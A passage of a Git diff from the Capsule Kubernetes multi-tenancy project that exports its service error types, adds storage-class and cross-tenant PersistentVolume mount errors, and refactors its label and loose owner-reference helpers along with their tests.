     	return fmt.Sprintf("The selected external IPs for the current Service are violating the following enforced CIDRs: %s", strings.Join(e.cidr, ", "))
     }
     
    -type nodePortDisabledError struct{}
    +type NodePortDisabledError struct{}
     
     func NewNodePortDisabledError() error {
    -	return &nodePortDisabledError{}
    +	return &NodePortDisabledError{}
     }
     
    -func (nodePortDisabledError) Error() string {
    +func (NodePortDisabledError) Error() string {
     	return "NodePort service types are forbidden for the tenant: please, reach out to the system administrators"
     }
     
    -type externalNameDisabledError struct{}
    +type ExternalNameDisabledError struct{}
     
     func NewExternalNameDisabledError() error {
    -	return &externalNameDisabledError{}
    +	return &ExternalNameDisabledError{}
     }
     
    -func (externalNameDisabledError) Error() string {
    +func (ExternalNameDisabledError) Error() string {
     	return "ExternalName service types are forbidden for the tenant: please, reach out to the system administrators"
     }
     
    -type loadBalancerDisabledError struct{}
    +type LoadBalancerDisabledError struct{}
     
     func NewLoadBalancerDisabled() error {
    -	return &loadBalancerDisabledError{}
    +	return &LoadBalancerDisabledError{}
     }
     
    -func (loadBalancerDisabledError) Error() string {
    +func (LoadBalancerDisabledError) Error() string {
     	return "LoadBalancer service types are forbidden for the tenant: please, reach out to the system administrators"
     }
    
  • pkg/api/errors/storage.go+137 0 added
    @@ -0,0 +1,137 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package errors
    +
    +import (
    +	"fmt"
    +
    +	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/api"
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +)
    +
    +type StorageClassError struct {
    +	storageClass string
    +	msg          error
    +}
    +
    +func NewStorageClassError(class string, msg error) error {
    +	return &StorageClassError{
    +		storageClass: class,
    +		msg:          msg,
    +	}
    +}
    +
    +func (e StorageClassError) Error() string {
    +	return fmt.Sprintf("Failed to resolve Storage Class %s: %s", e.storageClass, e.msg)
    +}
    +
    +type StorageClassNotValidError struct {
    +	spec api.DefaultAllowedListSpec
    +}
    +
    +func NewStorageClassNotValid(storageClasses api.DefaultAllowedListSpec) error {
    +	return &StorageClassNotValidError{
    +		spec: storageClasses,
    +	}
    +}
    +
    +func (s StorageClassNotValidError) Error() (err string) {
    +	msg := "A valid Storage Class must be used: "
    +
    +	return utils.DefaultAllowedValuesErrorMessage(s.spec, msg)
    +}
    +
    +type StorageClassForbiddenError struct {
    +	className string
    +	spec      api.DefaultAllowedListSpec
    +}
    +
    +func NewStorageClassForbidden(className string, storageClasses api.DefaultAllowedListSpec) error {
    +	return &StorageClassForbiddenError{
    +		className: className,
    +		spec:      storageClasses,
    +	}
    +}
    +
    +func (f StorageClassForbiddenError) Error() string {
    +	msg := fmt.Sprintf("Storage Class %s is forbidden for the current Tenant ", f.className)
    +
    +	return utils.DefaultAllowedValuesErrorMessage(f.spec, msg)
    +}
    +
    +type MissingPVTenantLabelsError struct {
    +	name   string
    +	action string
    +}
    +
    +func (e *MissingPVTenantLabelsError) Reason() string { return evt.ReasonCrossTenantReference }
    +func (e *MissingPVTenantLabelsError) Action() string { return e.action }
    +
    +func NewMissingTenantPVLabelsError(name string, action string) error {
    +	return &MissingPVTenantLabelsError{
    +		name:   name,
    +		action: action,
    +	}
    +}
    +
    +func (e MissingPVTenantLabelsError) Error() string {
    +	return fmt.Sprintf("PersistentVolume %s is missing the Tenant label (%s), preventing a potential cross-tenant mount", e.name, meta.TenantLabel)
    +}
    +
    +type CrossTenantPVMountError struct {
    +	name   string
    +	action string
    +}
    +
    +func (e *CrossTenantPVMountError) Reason() string { return evt.ReasonCrossTenantReference }
    +func (e *CrossTenantPVMountError) Action() string { return e.action }
    +
    +func NewCrossTenantPVMountError(name string, action string) error {
    +	return &CrossTenantPVMountError{
    +		name:   name,
    +		action: action,
    +	}
    +}
    +
    +func (e CrossTenantPVMountError) Error() string {
    +	return fmt.Sprintf("Preventing a cross-tenant mount for PersistentVolume %s", e.name)
    +}
    +
    +type PvSelectorError struct {
    +	action string
    +}
    +
    +func (e *PvSelectorError) Reason() string { return evt.ReasonCrossTenantReference }
    +func (e *PvSelectorError) Action() string { return e.action }
    +
    +func NewPVSelectorError(action string) error {
    +	return &PvSelectorError{
    +		action: action,
    +	}
    +}
    +
    +func (m PvSelectorError) Error() string {
    +	return "PersistentVolume selectors are not allowed since unable to prevent cross-tenant mount"
    +}
    +
    +type PvNotFoundError struct {
    +	name   string
    +	action string
    +}
    +
    +func (e *PvNotFoundError) Reason() string { return evt.ReasonCrossTenantReference }
    +func (e *PvNotFoundError) Action() string { return e.action }
    +
    +func NewPvNotFoundError(name string, action string) error {
    +	return &PvNotFoundError{
    +		name:   name,
    +		action: action,
    +	}
    +}
    +
    +func (e PvNotFoundError) Error() string {
    +	return fmt.Sprintf("Cannot create a PVC referring to a not yet existing PersistentVolume %s", e.name)
    +}
    
  • pkg/api/errors/tenants.go+1 13 renamed
    @@ -1,7 +1,7 @@
     // Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
    -package pod
    +package errors
     
     import "fmt"
     
    @@ -16,15 +16,3 @@ func NewNonTenantObject(objectName string) error {
     func (n NonTenantObjectError) Error() string {
     	return fmt.Sprintf("Skipping labels sync for %s as it doesn't belong to tenant", n.objectName)
     }
    -
    -type NoPodMetadataError struct {
    -	objectName string
    -}
    -
    -func NewNoPodMetadata(objectName string) error {
    -	return &NoPodMetadataError{objectName: objectName}
    -}
    -
    -func (n NoPodMetadataError) Error() string {
    -	return fmt.Sprintf("Skipping labels sync for %s because no AdditionalLabels or AdditionalAnnotations presents in Tenant spec", n.objectName)
    -}
    
  • pkg/api/forbidden_list.go+0 7 modified
    @@ -11,13 +11,6 @@ import (
     	"strings"
     )
     
    -const (
    -	// ForbiddenLabelReason used as reason string to deny forbidden labels.
    -	ForbiddenLabelReason = "ForbiddenLabel"
    -	// ForbiddenAnnotationReason used as reason string to deny forbidden annotations.
    -	ForbiddenAnnotationReason = "ForbiddenAnnotation"
    -)
    -
     // +kubebuilder:object:generate=true
     type ForbiddenListSpec struct {
     	Exact []string `json:"denied,omitempty"`
    
  • pkg/api/forbidden_list_test.go+13 11 modified
    @@ -1,12 +1,14 @@
    -// Copyright 2020-2025 Project Capsule Authors
    +// Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
    -package api
    +package api_test
     
     import (
     	"testing"
     
     	"github.com/stretchr/testify/assert"
    +
    +	"github.com/projectcapsule/capsule/pkg/api"
     )
     
     func TestForbiddenListSpec_ExactMatch(t *testing.T) {
    @@ -33,7 +35,7 @@ func TestForbiddenListSpec_ExactMatch(t *testing.T) {
     			[]string{"any", "value"},
     		},
     	} {
    -		a := ForbiddenListSpec{
    +		a := api.ForbiddenListSpec{
     			Exact: tc.In,
     		}
     
    @@ -58,7 +60,7 @@ func TestForbiddenListSpec_RegexMatch(t *testing.T) {
     		{`first-\w+-pattern`, []string{"first-date-pattern", "first-year-pattern"}, []string{"broken", "first-year", "second-date-pattern"}},
     		{``, nil, []string{"any", "value"}},
     	} {
    -		a := ForbiddenListSpec{
    +		a := api.ForbiddenListSpec{
     			Regex: tc.Regex,
     		}
     
    @@ -75,46 +77,46 @@ func TestForbiddenListSpec_RegexMatch(t *testing.T) {
     func TestValidateForbidden(t *testing.T) {
     	type tc struct {
     		Keys          map[string]string
    -		ForbiddenSpec ForbiddenListSpec
    +		ForbiddenSpec api.ForbiddenListSpec
     		HasError      bool
     	}
     
     	for _, tc := range []tc{
     		{
     			Keys: map[string]string{"foobar": "", "thesecondkey": "", "anotherkey": ""},
    -			ForbiddenSpec: ForbiddenListSpec{
    +			ForbiddenSpec: api.ForbiddenListSpec{
     				Exact: []string{"foobar", "somelabelkey1"},
     			},
     			HasError: true,
     		},
     		{
     			Keys: map[string]string{"foobar": ""},
    -			ForbiddenSpec: ForbiddenListSpec{
    +			ForbiddenSpec: api.ForbiddenListSpec{
     				Exact: []string{"foobar.io", "somelabelkey1", "test-exact"},
     			},
     			HasError: false,
     		},
     		{
     			Keys: map[string]string{"foobar": "", "barbaz": ""},
    -			ForbiddenSpec: ForbiddenListSpec{
    +			ForbiddenSpec: api.ForbiddenListSpec{
     				Regex: "foo.*",
     			},
     			HasError: true,
     		},
     		{
     			Keys: map[string]string{"foobar": "", "another-annotation-key": ""},
    -			ForbiddenSpec: ForbiddenListSpec{
    +			ForbiddenSpec: api.ForbiddenListSpec{
     				Regex: "foo1111",
     			},
     			HasError: false,
     		},
     	} {
     		if tc.HasError {
    -			assert.Error(t, ValidateForbidden(tc.Keys, tc.ForbiddenSpec))
    +			assert.Error(t, api.ValidateForbidden(tc.Keys, tc.ForbiddenSpec))
     		}
     
     		if !tc.HasError {
    -			assert.NoError(t, ValidateForbidden(tc.Keys, tc.ForbiddenSpec))
    +			assert.NoError(t, api.ValidateForbidden(tc.Keys, tc.ForbiddenSpec))
     		}
     	}
     }
    
  • pkg/api/image_pull_policy.go+0 11 removed
    @@ -1,11 +0,0 @@
    -// Copyright 2020-2026 Project Capsule Authors
    -// SPDX-License-Identifier: Apache-2.0
    -
    -package api
    -
    -// +kubebuilder:validation:Enum=Always;Never;IfNotPresent
    -type ImagePullPolicySpec string
    -
    -func (i ImagePullPolicySpec) String() string {
    -	return string(i)
    -}
    
  • pkg/api/meta/annotations.go+2 0 modified
    @@ -13,6 +13,8 @@ const (
     	ReleaseAnnotation        = "projectcapsule.dev/release"
     	ReleaseAnnotationTrigger = "true"
     
    +	ReconcileAnnotation = "reconcile.projectcapsule.dev/requestedAt"
    +
     	AvailableIngressClassesAnnotation       = "capsule.clastix.io/ingress-classes"
     	AvailableIngressClassesRegexpAnnotation = "capsule.clastix.io/ingress-classes-regexp"
     	AvailableStorageClassesAnnotation       = "capsule.clastix.io/storage-classes"
    
  • pkg/api/meta/conditions_test.go+25 23 modified
    @@ -1,19 +1,21 @@
     // Copyright 2020-2025 Project Capsule Authors.
     // SPDX-License-Identifier: Apache-2.0
     
    -package meta
    +package meta_test
     
     import (
     	"testing"
     	"time"
     
     	"github.com/stretchr/testify/assert"
     	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
     )
     
     // helper
    -func makeCond(tpe, status, reason, msg string, gen int64) Condition {
    -	return Condition{
    +func makeCond(tpe, status, reason, msg string, gen int64) meta.Condition {
    +	return meta.Condition{
     		Type:               tpe,
     		Status:             metav1.ConditionStatus(status),
     		Reason:             reason,
    @@ -25,7 +27,7 @@ func makeCond(tpe, status, reason, msg string, gen int64) Condition {
     
     func TestConditionList_GetConditionByType(t *testing.T) {
     	t.Run("returns matching condition", func(t *testing.T) {
    -		list := ConditionList{
    +		list := meta.ConditionList{
     			makeCond("Ready", "False", "Init", "starting", 1),
     			makeCond("Synced", "True", "Ok", "done", 2),
     		}
    @@ -39,14 +41,14 @@ func TestConditionList_GetConditionByType(t *testing.T) {
     	})
     
     	t.Run("returns nil when not found", func(t *testing.T) {
    -		list := ConditionList{
    +		list := meta.ConditionList{
     			makeCond("Ready", "False", "Init", "starting", 1),
     		}
     		assert.Nil(t, list.GetConditionByType("Missing"))
     	})
     
     	t.Run("returned pointer refers to slice element (not copy)", func(t *testing.T) {
    -		list := ConditionList{
    +		list := meta.ConditionList{
     			makeCond("Ready", "False", "Init", "starting", 1),
     			makeCond("Synced", "True", "Ok", "done", 2),
     		}
    @@ -64,13 +66,13 @@ func TestConditionList_UpdateConditionByType(t *testing.T) {
     	now := metav1.Now()
     
     	t.Run("updates existing condition in place", func(t *testing.T) {
    -		list := ConditionList{
    +		list := meta.ConditionList{
     			makeCond("Ready", "False", "Init", "starting", 1),
     			makeCond("Synced", "True", "Ok", "done", 2),
     		}
     		beforeLen := len(list)
     
    -		list.UpdateConditionByType(Condition{
    +		list.UpdateConditionByType(meta.Condition{
     			Type:               "Ready",
     			Status:             metav1.ConditionTrue,
     			Reason:             "Reconciled",
    @@ -89,12 +91,12 @@ func TestConditionList_UpdateConditionByType(t *testing.T) {
     	})
     
     	t.Run("appends when condition type not present", func(t *testing.T) {
    -		list := ConditionList{
    +		list := meta.ConditionList{
     			makeCond("Ready", "True", "Ok", "ready", 1),
     		}
     		beforeLen := len(list)
     
    -		list.UpdateConditionByType(Condition{
    +		list.UpdateConditionByType(meta.Condition{
     			Type:               "Synced",
     			Status:             metav1.ConditionTrue,
     			Reason:             "Done",
    @@ -115,32 +117,32 @@ func TestConditionList_UpdateConditionByType(t *testing.T) {
     
     func TestConditionList_RemoveConditionByType(t *testing.T) {
     	t.Run("removes all conditions with matching type", func(t *testing.T) {
    -		list := ConditionList{
    +		list := meta.ConditionList{
     			makeCond("A", "True", "x", "m1", 1),
     			makeCond("B", "True", "y", "m2", 1),
     			makeCond("A", "False", "z", "m3", 2),
     		}
    -		list.RemoveConditionByType(Condition{Type: "A"})
    +		list.RemoveConditionByType(meta.Condition{Type: "A"})
     
     		assert.Len(t, list, 1)
     		assert.Equal(t, "B", list[0].Type)
     	})
     
     	t.Run("no-op when type not present", func(t *testing.T) {
    -		orig := ConditionList{
    +		orig := meta.ConditionList{
     			makeCond("A", "True", "x", "m1", 1),
     		}
    -		list := append(ConditionList{}, orig...) // copy
    +		list := append(meta.ConditionList{}, orig...) // copy
     
    -		list.RemoveConditionByType(Condition{Type: "Missing"})
    +		list.RemoveConditionByType(meta.Condition{Type: "Missing"})
     
     		assert.Equal(t, orig, list)
     	})
     
     	t.Run("nil receiver is safe", func(t *testing.T) {
    -		var list *ConditionList // nil receiver
    +		var list *meta.ConditionList // nil receiver
     		assert.NotPanics(t, func() {
    -			list.RemoveConditionByType(Condition{Type: "X"})
    +			list.RemoveConditionByType(meta.Condition{Type: "X"})
     		})
     	})
     }
    @@ -149,14 +151,14 @@ func TestUpdateCondition(t *testing.T) {
     	now := metav1.Now()
     
     	t.Run("no update when all relevant fields match", func(t *testing.T) {
    -		c := &Condition{
    +		c := &meta.Condition{
     			Type:    "Ready",
     			Status:  "True",
     			Reason:  "Success",
     			Message: "All good",
     		}
     
    -		updated := c.UpdateCondition(Condition{
    +		updated := c.UpdateCondition(meta.Condition{
     			Type:               "Ready",
     			Status:             "True",
     			Reason:             "Success",
    @@ -168,14 +170,14 @@ func TestUpdateCondition(t *testing.T) {
     	})
     
     	t.Run("update occurs on message change", func(t *testing.T) {
    -		c := &Condition{
    +		c := &meta.Condition{
     			Type:    "Ready",
     			Status:  "True",
     			Reason:  "Success",
     			Message: "Old message",
     		}
     
    -		updated := c.UpdateCondition(Condition{
    +		updated := c.UpdateCondition(meta.Condition{
     			Type:               "Ready",
     			Status:             "True",
     			Reason:             "Success",
    @@ -188,14 +190,14 @@ func TestUpdateCondition(t *testing.T) {
     	})
     
     	t.Run("update occurs on status change", func(t *testing.T) {
    -		c := &Condition{
    +		c := &meta.Condition{
     			Type:    "Ready",
     			Status:  "False",
     			Reason:  "Pending",
     			Message: "Not ready yet",
     		}
     
    -		updated := c.UpdateCondition(Condition{
    +		updated := c.UpdateCondition(meta.Condition{
     			Type:               "Ready",
     			Status:             "True",
     			Reason:             "Success",
    
  • pkg/api/meta/labels.go+29 1 modified
    @@ -6,6 +6,7 @@ package meta
     import (
     	"strings"
     
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     )
     
    @@ -26,12 +27,19 @@ const (
     	CordonedLabel        = "projectcapsule.dev/cordoned"
     	CordonedLabelTrigger = "true"
     
    -	ManagedByCapsuleLabel = "capsule.clastix.io/managed-by"
    +	CapsuleNameLabel = "projectcapsule.dev/name"
    +
    +	CreatedByCapsuleLabel = "projectcapsule.dev/created-by"
    +
    +	NewManagedByCapsuleLabel = "projectcapsule.dev/managed-by"
    +	ManagedByCapsuleLabel    = "capsule.clastix.io/managed-by"
     
     	LimitRangeLabel    = "capsule.clastix.io/limit-range"
     	NetworkPolicyLabel = "capsule.clastix.io/network-policy"
     	ResourceQuotaLabel = "capsule.clastix.io/resource-quota"
     	RolebindingLabel   = "capsule.clastix.io/role-binding"
    +
    +	ControllerValue = "controller"
     )
     
     func FreezeLabelTriggers(obj client.Object) bool {
    @@ -71,3 +79,23 @@ func labelTriggers(obj client.Object, anno string, trigger string) bool {
     
     	return false
     }
    +
    +// SetFilteredLabels Removes given labels by key.
    +func SetFilteredLabels(obj *unstructured.Unstructured, filter map[string]struct{}) {
    +	if obj == nil || len(filter) == 0 {
    +		return
    +	}
    +
    +	labels := obj.GetLabels()
    +	if labels == nil {
    +		return
    +	}
    +
    +	for k := range labels {
    +		if _, reserved := filter[k]; reserved {
    +			delete(labels, k)
    +		}
    +	}
    +
    +	obj.SetLabels(labels)
    +}
    
  • pkg/api/meta/labels_test.go+127 15 modified
    @@ -1,37 +1,41 @@
     // Copyright 2020-2025 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
    -package meta
    +package meta_test
     
     import (
    +	"reflect"
     	"testing"
     
     	corev1 "k8s.io/api/core/v1"
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
     )
     
     func TestFreezeLabel(t *testing.T) {
     	ns := &corev1.Namespace{}
     	ns.SetLabels(map[string]string{})
     
     	// absent
    -	if FreezeLabelTriggers(ns) {
    +	if meta.FreezeLabelTriggers(ns) {
     		t.Errorf("expected FreezeLabelTriggers to be false when label is absent")
     	}
     
     	// set to trigger
    -	ns.Labels[FreezeLabel] = FreezeLabelTrigger
    -	if !FreezeLabelTriggers(ns) {
    +	ns.Labels[meta.FreezeLabel] = meta.FreezeLabelTrigger
    +	if !meta.FreezeLabelTriggers(ns) {
     		t.Errorf("expected FreezeLabelTriggers to be true when label is set to trigger")
     	}
     
    -	ns.Labels[FreezeLabel] = "false"
    -	if FreezeLabelTriggers(ns) {
    +	ns.Labels[meta.FreezeLabel] = "false"
    +	if meta.FreezeLabelTriggers(ns) {
     		t.Errorf("expected FreezeLabelTriggers to be false when label is not set to trigger")
     	}
     
     	// remove
    -	FreezeLabelRemove(ns)
    -	if _, ok := ns.Labels[FreezeLabel]; ok {
    +	meta.FreezeLabelRemove(ns)
    +	if _, ok := ns.Labels[meta.FreezeLabel]; ok {
     		t.Errorf("expected FreezeLabel to be removed")
     	}
     }
    @@ -40,22 +44,130 @@ func TestOwnerPromotionLabel(t *testing.T) {
     	ns := &corev1.Namespace{}
     	ns.SetLabels(map[string]string{})
     
    -	if OwnerPromotionLabelTriggers(ns) {
    +	if meta.OwnerPromotionLabelTriggers(ns) {
     		t.Errorf("expected OwnerPromotionLabelTriggers to be false when label is absent")
     	}
     
    -	ns.Labels[OwnerPromotionLabel] = OwnerPromotionLabelTrigger
    -	if !OwnerPromotionLabelTriggers(ns) {
    +	ns.Labels[meta.OwnerPromotionLabel] = meta.OwnerPromotionLabelTrigger
    +	if !meta.OwnerPromotionLabelTriggers(ns) {
     		t.Errorf("expected OwnerPromotionLabelTriggers to be true when label is set to trigger")
     	}
     
    -	ns.Labels[OwnerPromotionLabel] = "false"
    -	if OwnerPromotionLabelTriggers(ns) {
    +	ns.Labels[meta.OwnerPromotionLabel] = "false"
    +	if meta.OwnerPromotionLabelTriggers(ns) {
     		t.Errorf("expected OwnerPromotionLabelTriggers to be false when label is not set to trigger")
     	}
     
    -	OwnerPromotionLabelRemove(ns)
    -	if _, ok := ns.Labels[OwnerPromotionLabel]; ok {
    +	meta.OwnerPromotionLabelRemove(ns)
    +	if _, ok := ns.Labels[meta.OwnerPromotionLabel]; ok {
     		t.Errorf("expected OwnerPromotionLabel to be removed")
     	}
     }
    +
    +func TestSetFilteredLabels(t *testing.T) {
    +	type testCase struct {
    +		name   string
    +		obj    *unstructured.Unstructured
    +		filter map[string]struct{}
    +		want   map[string]string
    +	}
    +
    +	newObjWithLabels := func(labels map[string]string) *unstructured.Unstructured {
    +		u := &unstructured.Unstructured{}
    +		u.SetLabels(labels)
    +		return u
    +	}
    +
    +	tests := []testCase{
    +		{
    +			name:   "nil obj - no panic",
    +			obj:    nil,
    +			filter: map[string]struct{}{"a": {}},
    +			want:   nil,
    +		},
    +		{
    +			name:   "empty filter - object unchanged",
    +			obj:    newObjWithLabels(map[string]string{"a": "1", "b": "2"}),
    +			filter: map[string]struct{}{},
    +			want:   map[string]string{"a": "1", "b": "2"},
    +		},
    +		{
    +			name:   "nil labels - stays nil (no-op removal)",
    +			obj:    newObjWithLabels(nil),
    +			filter: map[string]struct{}{"a": {}},
    +			want:   nil,
    +		},
    +		{
    +			name:   "removes single reserved label",
    +			obj:    newObjWithLabels(map[string]string{"keep": "x", "rm": "y"}),
    +			filter: map[string]struct{}{"rm": {}},
    +			want:   map[string]string{"keep": "x"},
    +		},
    +		{
    +			name:   "removes multiple reserved labels",
    +			obj:    newObjWithLabels(map[string]string{"a": "1", "b": "2", "c": "3"}),
    +			filter: map[string]struct{}{"a": {}, "c": {}},
    +			want:   map[string]string{"b": "2"},
    +		},
    +		{
    +			name:   "filter contains keys not present - unchanged",
    +			obj:    newObjWithLabels(map[string]string{"a": "1"}),
    +			filter: map[string]struct{}{"missing": {}},
    +			want:   map[string]string{"a": "1"},
    +		},
    +		{
    +			name:   "removes all labels -> labels becomes empty map or nil (accept either)",
    +			obj:    newObjWithLabels(map[string]string{"a": "1"}),
    +			filter: map[string]struct{}{"a": {}},
    +			want:   map[string]string{},
    +		},
    +	}
    +
    +	for _, tc := range tests {
    +		t.Run(tc.name, func(t *testing.T) {
    +			meta.SetFilteredLabels(tc.obj, tc.filter)
    +
    +			if tc.obj == nil {
    +				return
    +			}
    +
    +			got := tc.obj.GetLabels()
    +
    +			if tc.want != nil && len(tc.want) == 0 {
    +				if got == nil || len(got) == 0 {
    +					return
    +				}
    +				t.Fatalf("expected labels to be empty or nil, got: %#v", got)
    +			}
    +
    +			if !reflect.DeepEqual(got, tc.want) {
    +				t.Fatalf("labels mismatch\nwant: %#v\ngot:  %#v", tc.want, got)
    +			}
    +		})
    +	}
    +}
    +
    +func TestSetFilteredLabels_DoesNotMutateFilter(t *testing.T) {
    +	u := &unstructured.Unstructured{}
    +	u.SetLabels(map[string]string{"a": "1", "b": "2"})
    +
    +	filter := map[string]struct{}{"a": {}}
    +	filterBefore := copyStructSet(filter)
    +
    +	meta.SetFilteredLabels(u, filter)
    +
    +	if !reflect.DeepEqual(filter, filterBefore) {
    +		t.Fatalf("filter map was mutated\nbefore: %#v\nafter:  %#v", filterBefore, filter)
    +	}
    +}
    +
    +func copyStructSet(in map[string]struct{}) map[string]struct{} {
    +	if in == nil {
    +		return nil
    +	}
    +	out := make(map[string]struct{}, len(in))
    +	for k := range in {
    +		out[k] = struct{}{}
    +	}
    +	return out
    +}
    
  • pkg/api/meta/managers.go+13 0 added
    @@ -0,0 +1,13 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package meta
    +
    +const (
    +	FieldManagerCapsulePrefix     = "projectcapsule.dev"
    +	FieldManagerCapsuleController = "projectcapsule.dev/controller"
    +)
    +
    +func ControllerFieldOwnerPrefix(fieldowner string) string {
    +	return FieldManagerCapsulePrefix + "/" + fieldowner
    +}
    
  • pkg/api/meta/names.go+4 0 modified
    @@ -5,6 +5,10 @@ package meta
     
     import "fmt"
     
    +func NameForManagedRuleStatus() string {
    +	return "capsule-managed-rules"
    +}
    +
     func NameForManagedRoleBindings(hash string) string {
     	return fmt.Sprintf("capsule:managed:%s", hash)
     }
    
  • pkg/api/meta/ownerreference.go+36 22 modified
    @@ -5,46 +5,42 @@ package meta
     
     import (
     	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    -	"k8s.io/apimachinery/pkg/runtime"
     	"sigs.k8s.io/controller-runtime/pkg/client"
    -	"sigs.k8s.io/controller-runtime/pkg/controller/controllerutil"
     )
     
     // Adds an ownerreferences, which does not delete the object when the owner is deleted.
    -func SetLooseOwnerReference(
    -	obj client.Object,
    -	owner client.Object,
    -	schema *runtime.Scheme,
    -) (err error) {
    -	err = controllerutil.SetOwnerReference(owner, obj, schema)
    -	if err != nil {
    -		return err
    +func SetLooseOwnerReference(obj client.Object, owner metav1.OwnerReference) error {
    +	if obj == nil {
    +		return nil
     	}
     
     	ownerRefs := obj.GetOwnerReferences()
    -	for i, ownerRef := range ownerRefs {
    -		if ownerRef.UID == owner.GetUID() {
    -			if ownerRef.BlockOwnerDeletion != nil || ownerRef.Controller != nil {
    -				ownerRefs[i].BlockOwnerDeletion = nil
    -				ownerRefs[i].Controller = nil
    -			}
    -
    -			break
    +
    +	// Overwrite existing entry with same UID
    +	for i := range ownerRefs {
    +		if ownerRefs[i].UID == owner.UID {
    +			ownerRefs[i] = owner
    +			obj.SetOwnerReferences(ownerRefs)
    +
    +			return nil
     		}
     	}
     
    +	ownerRefs = append(ownerRefs, owner)
    +	obj.SetOwnerReferences(ownerRefs)
    +
     	return nil
     }
     
     // Removes a Loose Ownerreference based on UID.
     func RemoveLooseOwnerReference(
     	obj client.Object,
    -	owner client.Object,
    +	owner metav1.OwnerReference,
     ) {
     	refs := []metav1.OwnerReference{}
     
     	for _, ownerRef := range obj.GetOwnerReferences() {
    -		if ownerRef.UID == owner.GetUID() {
    +		if ownerRef.UID == owner.UID {
     			continue
     		}
     
    @@ -57,13 +53,31 @@ func RemoveLooseOwnerReference(
     // If not returns false.
     func HasLooseOwnerReference(
     	obj client.Object,
    -	owner client.Object,
    +	owner metav1.OwnerReference,
     ) bool {
     	for _, ownerRef := range obj.GetOwnerReferences() {
    -		if ownerRef.UID == owner.GetUID() {
    +		if ownerRef.UID == owner.UID {
     			return true
     		}
     	}
     
     	return false
     }
    +
    +func GetLooseOwnerReference(
    +	obj client.Object,
    +) metav1.OwnerReference {
    +	return metav1.OwnerReference{
    +		APIVersion: obj.GetObjectKind().GroupVersionKind().GroupVersion().String(),
    +		Kind:       obj.GetObjectKind().GroupVersionKind().Kind,
    +		Name:       obj.GetName(),
    +		UID:        obj.GetUID(),
    +	}
    +}
    +
    +func LooseOwnerReferenceEqual(a, b metav1.OwnerReference) bool {
    +	return a.APIVersion == b.APIVersion &&
    +		a.Kind == b.Kind &&
    +		a.Name == b.Name &&
    +		a.UID == b.UID
    +}
    
  • pkg/api/meta/ownerreference_test.go+234 42 modified
    @@ -1,63 +1,255 @@
    -// Copyright 2020-2025 Project Capsule Authors
    -// SPDX-License-Identifier: Apache-2.0
    -
    -package meta
    +package meta_test
     
     import (
     	"testing"
     
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
     	corev1 "k8s.io/api/core/v1"
     	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    -	"k8s.io/apimachinery/pkg/runtime"
    -	"k8s.io/apimachinery/pkg/types"
    -
    -	"github.com/stretchr/testify/assert"
    +	"k8s.io/apimachinery/pkg/runtime/schema"
    +	types "k8s.io/apimachinery/pkg/types"
     )
     
    -func TestLooseOwnerReferenceHelpers(t *testing.T) {
    -	scheme := runtime.NewScheme()
    -	_ = corev1.AddToScheme(scheme)
    +func TestSetLooseOwnerReference(t *testing.T) {
    +	t.Run("nil object => no error", func(t *testing.T) {
    +		err := meta.SetLooseOwnerReference(nil, metav1.OwnerReference{UID: types.UID("u1")})
    +		if err != nil {
    +			t.Fatalf("expected nil err, got %v", err)
    +		}
    +	})
     
    -	owner := &corev1.ConfigMap{
    -		ObjectMeta: metav1.ObjectMeta{
    -			Name:      "owner",
    -			Namespace: "default",
    -			UID:       types.UID("owner-uid"),
    -		},
    -	}
    +	t.Run("append when not present", func(t *testing.T) {
    +		obj := &corev1.ConfigMap{}
    +		obj.SetName("cm")
    +		obj.SetUID(types.UID("obj"))
    +
    +		owner := metav1.OwnerReference{
    +			APIVersion: "v1",
    +			Kind:       "ConfigMap",
    +			Name:       "owner",
    +			UID:        types.UID("u1"),
    +		}
    +
    +		if err := meta.SetLooseOwnerReference(obj, owner); err != nil {
    +			t.Fatalf("unexpected err: %v", err)
    +		}
    +
    +		refs := obj.GetOwnerReferences()
    +		if len(refs) != 1 {
    +			t.Fatalf("expected 1 ownerref, got %d", len(refs))
    +		}
    +		if !meta.LooseOwnerReferenceEqual(refs[0], owner) {
    +			t.Fatalf("ownerref mismatch: got=%v want=%v", refs[0], owner)
    +		}
    +	})
    +
    +	t.Run("overwrite when same UID exists", func(t *testing.T) {
    +		obj := &corev1.ConfigMap{}
    +		obj.SetName("cm")
    +
    +		orig := metav1.OwnerReference{
    +			APIVersion: "v1",
    +			Kind:       "ConfigMap",
    +			Name:       "old",
    +			UID:        types.UID("u1"),
    +		}
    +		obj.SetOwnerReferences([]metav1.OwnerReference{orig})
    +
    +		repl := metav1.OwnerReference{
    +			APIVersion: "apps/v1",
    +			Kind:       "Deployment",
    +			Name:       "new",
    +			UID:        types.UID("u1"),
    +		}
    +
    +		if err := meta.SetLooseOwnerReference(obj, repl); err != nil {
    +			t.Fatalf("unexpected err: %v", err)
    +		}
    +
    +		refs := obj.GetOwnerReferences()
    +		if len(refs) != 1 {
    +			t.Fatalf("expected 1 ownerref, got %d", len(refs))
    +		}
    +		if !meta.LooseOwnerReferenceEqual(refs[0], repl) {
    +			t.Fatalf("expected overwritten ref %v, got %v", repl, refs[0])
    +		}
    +	})
    +
    +	t.Run("multiple existing refs keep others", func(t *testing.T) {
    +		obj := &corev1.ConfigMap{}
    +		obj.SetName("cm")
    +
    +		a := metav1.OwnerReference{APIVersion: "v1", Kind: "A", Name: "a", UID: types.UID("uA")}
    +		b := metav1.OwnerReference{APIVersion: "v1", Kind: "B", Name: "b", UID: types.UID("uB")}
